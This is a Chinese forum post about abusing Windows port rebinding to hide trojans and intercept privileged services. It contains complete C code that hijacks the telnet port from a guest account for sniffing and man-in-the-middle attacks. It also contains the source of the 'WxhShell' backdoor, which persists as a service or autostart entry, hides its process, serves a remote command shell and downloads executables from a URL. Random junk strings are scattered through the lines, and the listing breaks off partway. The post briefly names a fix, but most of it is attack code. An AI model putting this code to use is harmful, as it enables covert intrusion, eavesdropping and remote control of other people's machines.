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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1Ewg_/R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +!"7=?}  
g (V_&Y  
  saddr.sin_family = AF_INET; 0ZtH  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Y,d|b V*FH  
61`tQFx,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); "S3U]zw0_  
LH>h]OTQF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !24g_R[3"  
WFMQ;  
  这意味着什么?意味着可以进行如下的攻击: A]m_&A#  
v#$}3+KVC  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &%@>S.  
' g Fewo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?/24-n  
+fG~m:E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DWu~%U8  
"nC=.5/$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  n16TQe"8  
*ZF:LOnU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s:Z1 ZAxv  
gO m%?sg  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \`WAG>'l5  
n|!O .+\b  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fDZnC Fa  
fh@/fd  
  #include u&$1XZ!es  
  #include >2;KPV0H  
  #include G>W:3y  
  #include    Q?-uJ1J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |~YhN'OJ  
  int main() 6G>bZ+  
  { 6>- Gi  
  WORD wVersionRequested; +g8uV hC  
  DWORD ret; f9J]-#Iif  
  WSADATA wsaData; =lS@nRH  
  BOOL val; o)Nm5g  
  SOCKADDR_IN saddr; 5C"A*Fg?;  
  SOCKADDR_IN scaddr; 2T}FX4'  
  int err; tq5o  
  SOCKET s; +yIO  
  SOCKET sc; ,\E5et4  
  int caddsize; WvHy}1W  
  HANDLE mt; IR<*OnKn  
  DWORD tid;   nF{>RD  
  wVersionRequested = MAKEWORD( 2, 2 ); 1Yy*G-7}  
  err = WSAStartup( wVersionRequested, &wsaData ); DP4l %2m0  
  if ( err != 0 ) { }#9 |au`  
  printf("error!WSAStartup failed!\n"); `pYL/[5  
  return -1; cUZ^,)8 Z  
  } mS >I#?  
  saddr.sin_family = AF_INET; ?=\_U  
   <N\#6m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |NaEXzo|qY  
+/2:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]e]hA@4  
  saddr.sin_port = htons(23); _D."KU|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;X[23A{  
  { p|R]/C0f  
  printf("error!socket failed!\n"); s&Qil07 Vl  
  return -1; !8Q9RnGn  
  } iVb#X#  
  val = TRUE; CiC@Z,ud`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,v*<yz/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HZzdelo  
  { ,Y2){8#l  
  printf("error!setsockopt failed!\n"); J|[`8 *8  
  return -1; PVUNi: h  
  } X.<2]V7!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nv"D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?c# v'c^=h  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sK`pV8&xq  
Y%]&h#F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Cr%6c3aQ  
  { "Kt[jV;6  
  ret=GetLastError(); [:C!g#o  
  printf("error!bind failed!\n"); ^tFgkzXm  
  return -1; ?u /i8  
  } O8S"B6?$~'  
  listen(s,2); j8#B  
  while(1) >l|dLyiae  
  { &fWYQ'\>  
  caddsize = sizeof(scaddr); OL)M`eVQ'  
  //接受连接请求 ^LJ?GJ$g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J0"<}"  
  if(sc!=INVALID_SOCKET) _gi?GQj  
  { L[9]Ez$2+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a]|k w4  
  if(mt==NULL)  <IL$8a  
  { )9JuQ_ R  
  printf("Thread Creat Failed!\n"); +{S^A)  
  break; sy.U] QG  
  } NX4}o&mDwn  
  } ~",,&>#[K  
  CloseHandle(mt); )t$|'c}  
  } dsJHhsu6  
  closesocket(s); Uw5`zl  
  WSACleanup(); ^YG.eT6iG  
  return 0; 1]j_4M14aA  
  }   &`4v,l^Zi6  
  DWORD WINAPI ClientThread(LPVOID lpParam) a uz2n  
  { 1u0 NG)*f  
  SOCKET ss = (SOCKET)lpParam; j(maj  
  SOCKET sc; u6(>?r-  
  unsigned char buf[4096]; ,l_n:H+"F  
  SOCKADDR_IN saddr; -KG3_kE  
  long num;  a7UfRG  
  DWORD val; S\O6B1<:  
  DWORD ret; O<v9i4*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 p6'wg#15  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *S@0o6v  
  saddr.sin_family = AF_INET; mf)o1O&B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (l3P<[[?  
  saddr.sin_port = htons(23); sS|N.2*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \aG:l.IM0  
  { kGSB6  
  printf("error!socket failed!\n"); H:HJHd"W  
  return -1; L'Fy\K\  
  } kf<5`8  
  val = 100; * F T )`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 13nXvYo'  
  { "m:4e`_dz  
  ret = GetLastError(); :h+gSvn:  
  return -1; ^J=l]  l  
  } 7}<05 7Xn'  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s$ 2@|;  
  { *rk!`n&  
  ret = GetLastError(); Sy<s/x^`  
  return -1; 4W''j[Y/  
  } ,,>b=r_r&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *.DTcV  
  { Lh5d2}tcO  
  printf("error!socket connect failed!\n"); ;9hi2_luV  
  closesocket(sc); -v(.]`Wo&;  
  closesocket(ss); &<E*W*b[  
  return -1; {~"6/L  
  } +L8 6 w7  
  while(1) 058+_xX  
  { I bd na9z7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O0gLu1*1v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *X K9-%3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MMfcY 3#%  
  num = recv(ss,buf,4096,0); oZV=vg5Dq  
  if(num>0) eiaL zI,O  
  send(sc,buf,num,0); {rG`Upp  
  else if(num==0) [J|)DUjt  
  break; @{Q[M3l  
  num = recv(sc,buf,4096,0); u9*}@{,  
  if(num>0) +0Rr5^8u  
  send(ss,buf,num,0); 0/."R ;  
  else if(num==0) ;_lEu" -  
  break; j:9kJq>mv  
  } < g<Lf[n$  
  closesocket(ss); 0} UJP   
  closesocket(sc); _/_1:ivY8  
  return 0 ; ;$y(Tvd;  
  } lFNf/j^Z  
7lvUIc?krW  
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========================================================== Oop;Y^gG}  
KGclo-,  
下边附上一个代码,,WXhSHELL Uk02VuS  
n#G I& U  
========================================================== o[bG(qHZ  
Xh/i5}5 t  
#include "stdafx.h" ,f4mFL0~N  
w`vJE!4B  
#include <stdio.h> iTt"Ik'  
#include <string.h> Ab <4F 7  
#include <windows.h> -k p~p e*T  
#include <winsock2.h> ,))UQ7N  
#include <winsvc.h> {P_~_5o_  
#include <urlmon.h> $C UmRi{T  
,Z;z}{.hq  
#pragma comment (lib, "Ws2_32.lib") Ok+zUA[Wu  
#pragma comment (lib, "urlmon.lib") '|b {  
q9RCXo>Y+1  
#define MAX_USER   100 // 最大客户端连接数 T{={uzQeJJ  
#define BUF_SOCK   200 // sock buffer u":D{+wC |  
#define KEY_BUFF   255 // 输入 buffer Ey77]\  
g< cR/  
#define REBOOT     0   // 重启 ,*2%6t`N?  
#define SHUTDOWN   1   // 关机 .(,4a<I?%N  
R<gC,eV<=  
#define DEF_PORT   5000 // 监听端口 0}YR=  
-~A7o3k35  
#define REG_LEN     16   // 注册表键长度 ~EIY(^|py  
#define SVC_LEN     80   // NT服务名长度 v2dCkn /  
?gb"S,  
// 从dll定义API kyQ%qBv ^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hv'~S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .#uRJo%8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3,bA&c3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xQ62V11R6  
8{HeHU  
// wxhshell配置信息 L!3AiAnr  
struct WSCFG { W>Y8 u8  
  int ws_port;         // 监听端口 AF1";duA  
  char ws_passstr[REG_LEN]; // 口令 <R7* 00  
  int ws_autoins;       // 安装标记, 1=yes 0=no `)F lb|da  
  char ws_regname[REG_LEN]; // 注册表键名 w| x=^  
  char ws_svcname[REG_LEN]; // 服务名 z I`'n%n=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U A T46  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %Yg;s'F>#q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 j=)Cyg3_%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no XnQd(B`M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2B_6un];W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;^ :9huN  
~4[2{M.0>@  
}; v.)'b e*u  
~ X8U@f  
// default Wxhshell configuration :4h4vp<  
struct WSCFG wscfg={DEF_PORT, R0;c'W)  
    "xuhuanlingzhe", Wxg,y{(`  
    1, 36JVnW;  
    "Wxhshell", f)q\RJA)X  
    "Wxhshell", ^Ois]#py  
            "WxhShell Service", EH"iK2n\9  
    "Wrsky Windows CmdShell Service", pv TV*  
    "Please Input Your Password: ", #lQbMuR  
  1, }$V]00 X  
  "http://www.wrsky.com/wxhshell.exe", 5j`"@C5;O  
  "Wxhshell.exe" l/yLSGjM  
    }; k0?4vA  
_Kx  /z  
// 消息定义模块 L1`^~m|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0/<}.Z]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [kzcsJ'/e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $nQ; ++  
char *msg_ws_ext="\n\rExit."; Q{!lLka  
char *msg_ws_end="\n\rQuit.";  M}}9  
char *msg_ws_boot="\n\rReboot..."; 3O<<XXar  
char *msg_ws_poff="\n\rShutdown..."; N10'./c K  
char *msg_ws_down="\n\rSave to "; geWis(#J  
2GcQh]ohc  
char *msg_ws_err="\n\rErr!"; ]Ole#Lz}Q  
char *msg_ws_ok="\n\rOK!"; /`0*!sN*5  
a=k+:=%y  
char ExeFile[MAX_PATH]; XZuJ<]}X,  
int nUser = 0; a=gTGG"9  
HANDLE handles[MAX_USER]; z-uJ+SA  
int OsIsNt; zzuDI_,/  
1j6ZSE/*|  
SERVICE_STATUS       serviceStatus; <\?ySto  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wt"@?#L  
aZ2liR\QE  
// 函数声明 ?)1h.K1}M  
int Install(void); 4pkc9\  
int Uninstall(void); F&;g< SD  
int DownloadFile(char *sURL, SOCKET wsh); skdSK7 n  
int Boot(int flag); pq*b"Jku1  
void HideProc(void); ppVjFCv0<  
int GetOsVer(void); BgD;"GD*W  
int Wxhshell(SOCKET wsl); h|dVVCsN  
void TalkWithClient(void *cs); Mq42^m:qe  
int CmdShell(SOCKET sock); d6<,R;)  
int StartFromService(void); u.0Z)j}N  
int StartWxhshell(LPSTR lpCmdLine); nTY`1w.;  
@.T'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |A 7Yv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :D-d`OyjG>  
 b#P ,  
// 数据结构和表定义 `?rPs8+R  
SERVICE_TABLE_ENTRY DispatchTable[] = @fT*fv   
{  :q;vZ6Xd  
{wscfg.ws_svcname, NTServiceMain}, Vlce^\s;  
{NULL, NULL} -hL8z$}  
}; 5|x FY/%  
{LJwW*?  
// 自我安装 9+9}^B5@A  
int Install(void) '/b,3:  
{ $WnK  
  char svExeFile[MAX_PATH]; #@Zz Bf  
  HKEY key; ag14omM-  
  strcpy(svExeFile,ExeFile); G?e,Q$  
q+dY&4&u  
// 如果是win9x系统,修改注册表设为自启动 6,uW{l8L  
if(!OsIsNt) { s[h'W~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -n!.PsGO>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }0?642 =-  
  RegCloseKey(key); +KDB^{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I5F oh|)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O9A.WSJ >}  
  RegCloseKey(key); d4[M{LSl  
  return 0; f&H):.  
    } ~y_TT5+ 3  
  } +uKlg#wqc  
} xx nW1`]  
else { `f*?|)  
e<l Wel  
// 如果是NT以上系统,安装为系统服务 DM!vB+j+,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9Q^>.^~^  
if (schSCManager!=0) aT(Pf7 O  
{ v/8K?$"q  
  SC_HANDLE schService = CreateService zkI\ji  
  ( Jm\'=#U#  
  schSCManager, 0^]E-Zf  
  wscfg.ws_svcname, `HgT5}  
  wscfg.ws_svcdisp, 7&:gvhw   
  SERVICE_ALL_ACCESS, Cq u/(=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vC$[Zm  
  SERVICE_AUTO_START, QZ"Lh  
  SERVICE_ERROR_NORMAL, s8{3~Hv  
  svExeFile, +G? 4Wc1  
  NULL, -#Yg B5  
  NULL, 9O?.0L  
  NULL, /^DDU!=(<  
  NULL, d'kQE_y2.  
  NULL tu6c!o,@  
  ); z++*,2F  
  if (schService!=0) ^g~Asz5]  
  { &y mfA{s  
  CloseServiceHandle(schService); t}qoIxy)  
  CloseServiceHandle(schSCManager); Io5-[d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); | 3!a=  
  strcat(svExeFile,wscfg.ws_svcname); _z)G!_7.>\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JnmJN1@I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nC qUg_{D  
  RegCloseKey(key); ,78 QLh9:  
  return 0; my[)/'  
    } niFX8%<hP  
  } UALwr>+VJ  
  CloseServiceHandle(schSCManager); ^lB1- ;ng  
} (".`#909  
} /+"BU-aQk  
HpSgGhL'J&  
return 1; ]b.@i&M  
} #|GP]`YT  
z~A||@4'  
// 自我卸载 7sC$hm]  
int Uninstall(void) &rorBD 5aj  
{ be$wG O=Ts  
  HKEY key; E3_e~yu&  
L<J';#BD  
if(!OsIsNt) { ]H[RY&GY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e8a_)TU?  
  RegDeleteValue(key,wscfg.ws_regname); xFHc+m' m~  
  RegCloseKey(key); P_z3TK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zW!3>(L/  
  RegDeleteValue(key,wscfg.ws_regname); 3 {\b/NL$  
  RegCloseKey(key); z\oq b) a  
  return 0; "7JO~T+v  
  } %^p1ax  
} &tj0Z:  
} n9050&_S  
else { ?<#6=  
rfkk3oy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ch 4z{7   
if (schSCManager!=0) {Lk~O)E  
{ $s/N;E!t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9-Ikd>9  
  if (schService!=0) 0J7[n*~  
  { .2C}8GGC'  
  if(DeleteService(schService)!=0) { Fm`hFBKW  
  CloseServiceHandle(schService); >E#| H6gx  
  CloseServiceHandle(schSCManager); pOyM/L   
  return 0; *,%H1)Tj}  
  } E O52 E|  
  CloseServiceHandle(schService); XGFU *g`kq  
  } d~D<;7M XJ  
  CloseServiceHandle(schSCManager); z/.x*A=  
} X'TQtI  
} 5MQD:K2  
&[3 xpi{v  
return 1;  PQa {5"  
} %Fa/82:- "  
R N5\,>+  
// 从指定url下载文件 .YYiUA-i9n  
int DownloadFile(char *sURL, SOCKET wsh) PM=Q\0  
{ ,LSF@1|Fx  
  HRESULT hr; Agl5[{]E  
char seps[]= "/"; (WVN*OR?  
char *token; ]\v'1m"  
char *file; TF} <,aR  
char myURL[MAX_PATH]; rG:IS=  
char myFILE[MAX_PATH]; *%:p01&+  
ZC_b`q<  
strcpy(myURL,sURL); c;xL.  
  token=strtok(myURL,seps); d}EGI  
  while(token!=NULL) z;zy k  
  { sw[1T_S>  
    file=token; L oe!@c  
  token=strtok(NULL,seps); |n \HxU3  
  } (8?t0}#t  
W|NzdxCY  
GetCurrentDirectory(MAX_PATH,myFILE); X)e6Y{vO  
strcat(myFILE, "\\"); N0O8to}V  
strcat(myFILE, file); glH&v8  
  send(wsh,myFILE,strlen(myFILE),0); 6^H64jM  
send(wsh,"...",3,0); 2IFri|;-eb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^' lx5+-  
  if(hr==S_OK) Dq)V] Zx  
return 0; UAFl+d!  
else vd|PTHV_  
return 1; R61.!ql%w  
ctTg-J2.  
} |qH-^b.F  
Sqed*  
// 系统电源模块 Lp 5LRw  
int Boot(int flag) >to NGGU=~  
{ [<}:b>a  
  HANDLE hToken; x>A(016:C  
  TOKEN_PRIVILEGES tkp; /1zi(z   
\L}Soe'  
  if(OsIsNt) { f>s3Q\+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !e?=I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r,(rWptf4  
    tkp.PrivilegeCount = 1; $iUK, ?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rZLTai}`>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |_&vW\  
if(flag==REBOOT) { v,bes[Ik  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w,SOvbAxX2  
  return 0; `{c %d  
} =5 l7{i*`  
else { btkD<1{g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E y1mlW  
  return 0; 1&ukKy,[  
} g>12!2}  
  } !X$e;V"HX  
  else { 3V?JX5X\  
if(flag==REBOOT) { ]{jdar^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iOkRBi  
  return 0; e%uPZ >'q  
} 0j %s H  
else { -|\V'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;+'x_'a  
  return 0; c~3OK_k  
} V2Q2(yvdJ  
} |Gx-c ,{{  
OCnQSkj  
return 1; a x4V(  
}  F"FGPk  
OBqaf )W  
// win9x进程隐藏模块 wb~#=6Y  
void HideProc(void) l ~CYxO  
{ yw `w6Z3K  
X`/8fag  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [G>8N5@*  
  if ( hKernel != NULL ) wwE`YY  
  { ~ OD}`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V|e9G,z~A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VI: !#  
    FreeLibrary(hKernel); es 8%JTi  
  } PN:/lIO  
H:Y?("k  
return; @W[`^jfQ  
} X31[  
|=fa`8m G  
// 获取操作系统版本 8fRk8  
int GetOsVer(void) rJH u~/_Dq  
{ V*5 ~A [r  
  OSVERSIONINFO winfo; 3B8\r}L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]&w8"q  
  GetVersionEx(&winfo); HR]*75}e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \B/ +.\  
  return 1; lqh+yX%*  
  else *`&4< >=n  
  return 0; T}d% XMXq  
} P&@ 2DI3m  
A:Pp;9wl  
// 客户端句柄模块 #\3(rzQVO  
int Wxhshell(SOCKET wsl) 8;K'77h  
{ A.vWGBR  
  SOCKET wsh; j;6kN-jx  
  struct sockaddr_in client; 21Mr2-#z  
  DWORD myID; *WdnP.'Y  
C +S  
  while(nUser<MAX_USER) FC[8kq>Hk  
{ j ;}!Yn  
  int nSize=sizeof(client); d+[GMIxg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i,|2F9YH  
  if(wsh==INVALID_SOCKET) return 1; `d]D=DtH  
BQ! v\1'C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vncLB&@7  
if(handles[nUser]==0) DdDwMq  
  closesocket(wsh); CzDJbvv ]  
else 8 -]\C  
  nUser++; &v9*D`7L  
  } 'qel3Fs"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t M?3oO  
<*k]Aa3y  
  return 0; uU_lC5A|  
} UP]X,H~stU  
6+`+$s0  
// 关闭 socket Zpc R   
void CloseIt(SOCKET wsh) 1~rZka[s  
{ v3>jXf  
closesocket(wsh); $0+n0*fp  
nUser--; $bSnbU <  
ExitThread(0); &(&5ao)5  
} o^HzE;L}  
)vWI{Q]r  
// 客户端请求句柄 [C_Dv-d  
void TalkWithClient(void *cs) y/{&mo1\  
{ xg*)o*?  
/WqiGkHV*  
  SOCKET wsh=(SOCKET)cs; %z1y3I|`[t  
  char pwd[SVC_LEN]; X|]&K  
  char cmd[KEY_BUFF]; {Aq2}sRl{  
char chr[1]; ^}Vx5[  
int i,j; VaKBS/y"  
X'[93 C|K  
  while (nUser < MAX_USER) { sX_6qKUH  
3s25Rps  
if(wscfg.ws_passstr) { h|m>JDxn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \ k&(D*u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o+-G@ 16  
  //ZeroMemory(pwd,KEY_BUFF); >Vp #   
      i=0; ~t0\Q; @($  
  while(i<SVC_LEN) { jiAKV0lX W  
Ek#?B6s  
  // 设置超时 y*K]z  
  fd_set FdRead; hf#[Vns  
  struct timeval TimeOut; |Iq#Q3w  
  FD_ZERO(&FdRead);  3"B$M  
  FD_SET(wsh,&FdRead); oW7\T !f  
  TimeOut.tv_sec=8; &4]~s:F  
  TimeOut.tv_usec=0; lJ y\Ky(*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A\xvzs.d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8<#S:O4kA  
oY;=$8y<q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?-.Qv1hs6p  
  pwd=chr[0]; $ /Rr|<  
  if(chr[0]==0xd || chr[0]==0xa) { L`"B;a&  
  pwd=0; aJ;6!WFW  
  break; t^ax:6;"|  
  } ZV,1IaO  
  i++; %v)m&VUi%  
    } Fke_ms=I^  
r*Iu6  
  // 如果是非法用户,关闭 socket *(c><N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Cx,)$!1  
} dJ/(u&N  
zI$24L9*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )TH~Tq:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h 7x_VO  
6xfG`7Az  
while(1) { "V7 SB   
B`I9  
  ZeroMemory(cmd,KEY_BUFF); >S]_{pb  
d]bM,`K* 6  
      // 自动支持客户端 telnet标准   H6fR6Kr4j  
  j=0; !/]vt?v#^  
  while(j<KEY_BUFF) { 7"|j.Yq$H{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J|Af`HJ  
  cmd[j]=chr[0]; HW,2x}[  
  if(chr[0]==0xa || chr[0]==0xd) { vH`m W`=  
  cmd[j]=0; aM2[<m}  
  break; ?A]@$  
  } >R&=mo~  
  j++; '5:P,1tW U  
    } 6e%|.}U  
QAI!/bB  
  // 下载文件 vbn'CY]QU  
  if(strstr(cmd,"http://")) { ~-dL #;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sPKyg  
  if(DownloadFile(cmd,wsh)) u=mJI*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,x9 {  
  else  fa=OeuI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %b)~K|NEFf  
  } }3rWmo8V  
  else { ga#Yd}G^~3  
O7KR~d  
    switch(cmd[0]) { c"<bq}L7S  
  h3z=tu['  
  // 帮助 xQKD1#y  
  case '?': { ?n]e5R(cj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jT6zpi~]E  
    break; ku`bwS  
  } }'o[6#_*X  
  // 安装 hhZU E]  
  case 'i': { XyM?Dc5,  
    if(Install()) +ISXyGu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  `LWZ!Q  
    else W@:a3RJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :zL.dJwa  
    break; ":o1g5?  
    } fUJ\W"qya  
  // 卸载 pPezy:  
  case 'r': { TNvE26.(  
    if(Uninstall()) &R'%OFi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TLkJZ4}?Q  
    else /p&)bL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @|2}*_3\  
    break; (ex^=fv  
    } guD?~-Q  
  // 显示 wxhshell 所在路径  fK$N|r  
  case 'p': { _:tclBc8R  
    char svExeFile[MAX_PATH]; c= -2c&=&  
    strcpy(svExeFile,"\n\r"); q|8p4X}/]  
      strcat(svExeFile,ExeFile); "eH~/6A  
        send(wsh,svExeFile,strlen(svExeFile),0); _z3Hl?qk=  
    break; 5xEk 7g.  
    } iN}BMd.U  
  // 重启 <_|H]^o  
  case 'b': { bnWKfz5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `Al[gG?/!  
    if(Boot(REBOOT)) .)wj{(>TJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)ubyl]^p  
    else { $B iG7,[#  
    closesocket(wsh); jgr2qSU C  
    ExitThread(0); >VAZ^kgi  
    } \sy;ca)[6g  
    break; Z~Mq5#3F  
    } 7 %P?3  
  // 关机 ]/d4o  
  case 'd': { <?TJ-   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &<u pjb  
